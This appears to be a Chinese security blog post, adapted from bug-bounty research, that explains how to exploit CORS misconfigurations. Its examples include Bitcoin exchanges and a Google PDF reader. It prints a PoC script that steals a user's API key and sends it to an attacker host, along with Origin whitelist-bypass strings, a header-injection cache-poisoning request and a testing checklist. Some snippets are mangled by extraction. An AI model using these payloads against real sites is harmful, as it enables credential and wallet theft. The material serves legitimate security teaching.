文章总结: 本文从攻击者视角系统剖析CORS配置中的高危漏洞,包括反射Origin、白名单正则写错、null源、解析器差异、协议不限制及Vary:Origin缓存中毒等利用手法,并通过比特币交易所和GooglePDF阅读器等真实案例展示攻击路径。文章指出CORS规范限制迫使开发者动态生成响应头,导致漏洞频发,并给出排查技巧与防御建议,强调理解规范细节对发现此类漏洞的重要性。
综合评分: 85
文章分类: WEB安全,漏洞分析,红队,安全意识
一个响应头配错,我忍住了提走比特币的冲动
原创
升斗安全XiuXiu
升斗安全XiuXiu
升斗安全
2026年9月15日 07:58
广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
【文章说明】
- 目的:本文内容仅为网络安全技术研究与教育目的而创作。
- 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
- 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
- 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。
阅读即代表您同意以上条款。
📌 这篇讲什么:CORS 几乎每个 API 都在用,但绝大多数人对它的危险认知只停留在”别用通配符”。这篇我从攻击者的视角,把 CORS 配置里那些真正值钱的坑挨个走一遍:反射 Origin、白名单正则写错、null 源、解析器差异、协议不限制,以及被所有人忽略的 Vary: Origin 缓存中毒。全程真实案例,包括几家比特币交易所和 Google 的 PDF 阅读器。看完了你会发现,这类洞不需要复杂利用链——理解规范,加上一点点细心,就够了。
一、先花一分钟,把 CORS 说清楚 🔍
跨源资源共享(CORS),本质上是一种让浏览器主动放宽同源策略的机制,好让不同站点之间能跨域通信。
它最常见于 Web API,但在今天这种前后端分离、动不动五六个域名的复杂站点里,它几乎无处不在。
大家都知道某些 CORS 配置很危险,但它那些要命的细微之处,被误解的程度远超想象。这篇文章要干的事,就是教你怎么用黑客的眼光去审视一个 CORS 配置——以及怎么顺走别人的比特币。
二、黑客眼里只有两个响应头
一个网站靠下面这行开启 CORS:
Access-Control-Allow-Origin: https://example.com
意思是:允许 example.com 这个源的页面,让访问者的浏览器向本站发起跨域请求并读取响应——这事儿同源策略本来是死活不让干的。
但要注意一个前提:默认情况下,这个请求不带 Cookie,也不带其他凭据。
也就是说,光有这一行,你偷不到 CSRF token 这类跟用户身份绑定的东西。想带上凭据,服务器得再加一句:
Access-Control-Allow-Credentials: true
这两行一凑齐,信任关系就成立了。翻译成人话:example.com 上随便一个 XSS,都能直接打到这个站点身上。
三、规范挖的三个坑,逼着所有人去写 bug 💥
信任单个源很简单。问题来了——如果我要信任多个源呢?
规范说,你可以用空格分隔列一串:
Access-Control-Allow-Origin: http://foo.com http://bar.net
很好。可惜,没有任何一个浏览器真的支持它。
那我用通配符信任所有子域总行吧:
Access-Control-Allow-Origin: *.portswigger.net
也不行。CORS 里唯一的通配符就是*,没有”半个通配符”这回事。
还有第三个坑,藏得更深。有人想干脆一了百了,直接这么写:
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
浏览器会当场给你一巴掌:
Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is true.
规范里写得清清楚楚,Mozilla 的文档也白纸黑字:响应带凭据的请求时,服务器必须指定一个具体的域,不能是通配符。换句话说,一旦用了通配符,Allow-Credentials 这个头实际上就被废掉了。
于是,一个经典的死循环形成了:
规范不给多源,不给子域通配,通配符又和凭据互斥 → 开发者只能自己写代码动态生成这个头 → 于是 bug 遍地开花。
顺带说个排查技巧,特别好用:
- 你看到响应里带着
Access-Control-*头,但没有声明具体的源——这强烈暗示服务器在拿你的输入拼这个头; - 还有些服务器只有收到
Origin请求头时才回 CORS 头——所以你扫站的时候如果不主动带Origin,这个洞会从你眼皮底下溜过去。
四、第一桶金:把私钥偷出来 ⚡
既然这么多网站都在拿用户输入拼白名单,那能出什么事?我挑了几个有赏金计划的站点实测了一下。
先说明一句:下面提到的每一个洞,都被大量赏金猎人漏掉了。这不是运气,是方法问题。
我首先复现了 Evan Johnson 的发现——很多应用在反射 Origin 之前,压根不做任何校验。然后就撞上了一家比特币交易所(应要求匿名):
GET /api/requestApiKey HTTP/1.1 Host: Origin: https://fiddle.jshell.net Cookie: sessionid=... HTTP/1.1 200 OK Access-Control-Allow-Origin: https://fiddle.jshell.net Access-Control-Allow-Credentials: true{”[private API key]”}
看清楚:我随便塞了个 Origin,它原样反射回来,还贴心地加上了 Allow-Credentials: true。用户的私有 API 密钥就这么躺在我面前。
写个 PoC 也就十行的事:
var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','https://btc-exchange/api/requestApiKey',true);req.withCredentials = true;req.send();function reqListener() { location='//atttacker.net/log?key='+this.responseText;};
拿到 API Key 之后能干什么?关掉账户通知、开启 2FA 把真正的主人锁在门外、然后把比特币提到任意地址。
一个响应头配错,换来一整个钱包的控制权。
我按捺住了卷款跑路的冲动(认真的,那一下挺考验人性),把它报给了他们的赏金计划。20 分钟,修补完成。这个速度在赏金圈里属于让人想给对方送锦旗的级别。
五、白名单正则的两种经典写错法 🧩
有些网站倒是有校验意识,但校验本身写错了。URL 解析这个事,堪称程序员的百慕大三角。
错误一:只查结尾。
某站点(化名 advisor.com)信任所有以 advisor.com 结尾的源。于是:
definitelynotadvisor.com ✅ 通过
错误二:只查开头。
第二家比特币交易所(化名 btc.net)信任所有以 https://btc.net 开头的 Origin。于是:
https://btc.net.evil.net ✅ 通过
可惜这家站点在我把 PoC 搓出来之前,突然永久停运了。原因我不做推测。(真的不做。)
给猎人的提醒:测白名单时,endsWith 和 startsWith 是必测的两类。构造 目标.com.evil.net、evil目标.com、目标[email protected]、目标.com.evil.com 这几个变体,命中率比你想的高得多。
六、null 源:一个被写进规范的礼物 🎁
细心的读者可能注意到了,规范里还提到了一个特殊的源:null。
它由重定向触发,另外(据 StackOverflow 上的说法)本地 HTML 文件也会拿到它。也许正是因为”跟本地文件有关”这个听起来人畜无害的联想,相当多的网站把null加进了白名单——包括 Google 的 PDF 阅读器:
GET /reader?url=zxcvbn.pdf Host: docs.google.com Origin: nullHTTP/1.1 200 OKAccess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true
以及,第三家比特币交易所。
这对攻击者来说简直太好了,因为任何网站都能用一个沙箱 iframe 轻松拿到 null 源:
*cors stuff here*'>
在这家交易所上,一串 CORS 请求就能把用户钱包的加密备份拖下来,然后离线暴力破解钱包密码——GPU 面前,弱密码撑不了多久。谁的密码不够硬,谁的比特币就是我的。
这种配置错误出奇地常见,你去找,就一定能找到。而且”null”这个词选得实在有点倒霉:某些应用白名单没配好、变量为空时,输出直接就是——
Access-Control-Allow-Origin: null
好家伙,白名单自己送上门。
七、破坏解析器:Safari 那颗反引号 🔓
大多数网站用字符串匹配校验 Origin,少数会把它当作 URL 去解析。后者反而给了攻击者更大的空间。
这项研究发布三年后,Bitwis3 分享了一招,利用的是Safari 对域名中特殊字符的惊人容忍度。在 Safari 眼里,下面这是个合法 URL:
http://example.com%60.hackxor.net/static/cors.html
而从这个 URL 发出的 CORS 请求,带的 Origin 是:
Origin: http://example.com`.hackxor.net/
反引号把解析器和浏览器的理解劈成了两半:如果目标站点选择”解析”这个头,它可能认为主机名是 example.com,于是放心大胆地反射回来。哪怕对方用的是受信任主机名白名单,Safari 用户照样被打。
这个提示之后我在真实环境里试过,确认对一系列真实系统有效。
补充一句:如果你能用 _ 代替反引号,那 Firefox 和 Chrome 用户也在射程之内了。这部分在《Advanced CORS Exploitation Techniques》里有更详细的记录,想深挖的可以去翻。
八、把 HTTPS 也一起破坏掉 🔓
下面这两个白名单缺陷经常成对出现,属于”买一送一”:
其一,无脑信任所有子域——连不存在的子域都信。
现实里,很多公司的某个子域指向的是第三方托管的应用,而这些第三方的安全实践……懂的都懂。你敢打赌这些子域现在没有 XSS、以后也永远不会有 XSS?这个赌注下得太大了。
其二,不限制源的协议。
一个站点明明走 HTTPS,却 happily 接受来自 http://wherever 的 CORS 交互。那么一个能做主动中间人(MITM)的攻击者,几乎可以完全绕开它这套 HTTPS。
这里有个反直觉的点:HSTS 和 Secure Cookie 对这种攻击基本帮不上忙。很多人以为上了 HSTS 就万事大吉,其实根本不是一回事。演讲视频里有完整的演示,出来之后强烈建议看一眼。
九、没有凭据,也照样能打 💡
前面说的都需要带凭据。那 Allow-Credentials 没开呢?是不是就没戏了?
大多数情况下确实打折扣:没有 Cookie,你就没法冒充用户,让受害者浏览器发请求跟你自己发也就没区别了。连 token 固定都做不了——浏览器会忽略响应里新设置的 Cookie。
但有一个例外值得单独记住:当”受害者的网络位置”本身就是一种身份认证时。
说白了就是——把受害者的浏览器当代理用。绕过基于 IP 的访问控制,捅进内网应用。
从影响上看,这跟 DNS 重绑定是一类东西,但利用难度低得多。内网里那些”只在办公网能开”的系统,遇到这种情况就是纸糊的墙。
十、Vary: Origin —— 连 W3C 自己都忘了的那一行 ⚠️
CORS 规范的”实现注意事项”里,明确要求开发者在动态生成 Access-Control-Allow-Origin 时,同时返回:
Vary: Origin
听起来很简单吧?问题是大量的人忘了,包括 W3C 自己。于是就有了 Reto Gmür 那句精彩吐槽:
我必须说,如果连 W3C 都没能正确配置其服务器,那并不能让我对很快会有更多站点支持 CORS 这件事很有信心。
忽略它通常会怎样?大多数时候只是东西莫名其妙地坏掉。
但在特定条件下,它能撑起相当严重的攻击——缓存中毒。
客户端缓存中毒
先设想一个页面:它把某个自定义请求头的内容不做编码地反射出来。
GET / HTTP/1.1 Host: example.com X-User-id:HTTP/1.1 200 OKAccess-Control-Allow-Origin: *Access-Control-Allow-Headers: X-User-idContent-Type: text/html...Invalid user:
没有 CORS,这东西不可利用——你没办法让别人的浏览器跨域发出 X-User-id 这个头。有了 CORS,我们能做到。
不过单是这样也没啥用:响应不会被渲染,注入的 JS 跑不起来。但如果没指定Vary: Origin,这个响应可能就被塞进浏览器缓存里,等受害者亲自导航到这个 URL 时,直接原样显示出来。
一个本来够不着的反射型 XSS,就这么变成了”存储型”。而且这类攻击走的是客户端缓存,实际成功率相当高。
服务端缓存中毒
如果条件再好一点,我们还能把危害升级成真正的存储型 XSS。
思路是这样:应用反射 Origin 时,如果连 \r 这种非法字符都不检查,那么对于IE/Edge 用户来说,这实际上就是一个 HTTP 响应头注入——因为 IE 和 Edge 把 \r(0x0d)当成合法的头部终止符:
GET / HTTP/1.1Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
IE 会把响应理解成:
HTTP/1.1 200 OKAccess-Control-Allow-Origin: zContent-Type: text/html; charset=UTF-7
当然,你没法让受害者的浏览器主动发出这么畸形的头,所以这一步不能直接打。但——我可以自己在 Burp 里手动构造这个请求,而服务端的缓存可能会把这个响应存下来,然后发给后面所有的人。
我用的 payload 是把页面字符集改成 UTF-7。懂 XSS 的朋友知道,UTF-7 在制造 XSS 这件事上,是个出了名的好帮手。
十一、最后聊聊:为什么这个坑永远填不完 🤔
调研刚开始的时候,我对”动态生成 ACAO 头”的站点数量感到震惊。
追根溯源,还是 CORS 那两条硬限制——一个头里不能写多个源,也不支持子域通配。开发者没得选,只能自己拼字符串,于是上面所有实现缺陷的风险,全被转嫁到了他们头上。
我个人的看法是:如果规范当初允许源列表和部分通配符,动态生成这类漏洞会少掉一大半。把简洁和安全对立起来,最后往往两头不讨好。
浏览器的改进方向,我认为有这几个:
- 把”通配符 + 凭据”的例外规则,同样应用到 null 源上。目前 null 源比通配符源危险得多,这一点我猜很多人听了会意外;
- 尝试阻止我称之为”反向混合内容”的东西——HTTP 站点用 CORS 从 HTTPS 站点偷数据。这个改动会不会砸坏现有站点,我说不准。
说到底,CORS 这件事给我的最大启示是:设计一套既简洁又安全的规范,难到超出所有人的预期。浏览器把复杂度推给开发者,开发者就会用 bug 把它还回来。
十二、值钱的从来不是技巧 🧠
做点实战经验分享,也算是我给猎人的一份排查清单。拿到一个目标,按这个顺序过一遍:
- 先带 Origin: https://evil.com发一遍所有关键请求,看响应里有没有 Access-Control-Allow-Origin被原样反射,且带了 Allow-Credentials: true。这是最容易中的一等奖。
- 测白名单逻辑:目标.com.evil.net、evil目标.com、目标[email protected]、反引号、_,全打一遍。
- 测 null:Origin: null,一发入魂的概率比你以为的高。
- 看有没有 Vary: Origin。没有的话,顺手测一下客户端/服务端缓存中毒。
- 看协议和子域:接不接受http://?信不信任不存在的子域?
- 没凭据也别急着放弃:想想内网,想想基于 IP 的认证,把受害者浏览器当代理用。
最后一句真心话:严重的漏洞,并不总是需要高超的技巧和复杂的利用链。对规范的基本理解,加上一点点别人没有的细心,就足够了。
你和目标之间隔着的,往往不是技术,是耐心。
十三、几句说明 ⚠️
文中涉及的所有漏洞均已修复并获授权披露,交易所与站点均按要求匿名。技术细节仅用于安全研究与授权测试,请勿用于未授权目标。
写到这里,照例求个三连。
这篇从翻演讲稿到把每个请求头对一遍,花了我一整个晚上。如果它让你下次扫站的时候,会记得主动带一个Origin头,那这几个小时就没白花——这一个小动作,可能就是别人漏掉、而你捡到的那个洞。
- 觉得有用,帮我点个**「赞」和「在看」**,让更多挖洞的朋友刷到;
- 顺手**「转发」**给群里那几个还在问”CORS 有啥好挖”的兄弟,让他们开开眼;
- 还没**「关注」**的朋友点个关注,压箱底的笔记我会陆续整理发出来,只发在这里;
- 也欢迎**「推荐」**给身边做开发、做安全的朋友,一起少写点会被打脸的白名单。
#CORS #渗透测试 #赏金猎人 #Web安全 #漏洞挖掘 #经验分享 #AppSec #XSS #缓存中毒 #内网渗透
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:升斗安全 升斗安全XiuXiu
升斗安全XiuXiu《一个响应头配错,我忍住了提走比特币的冲动》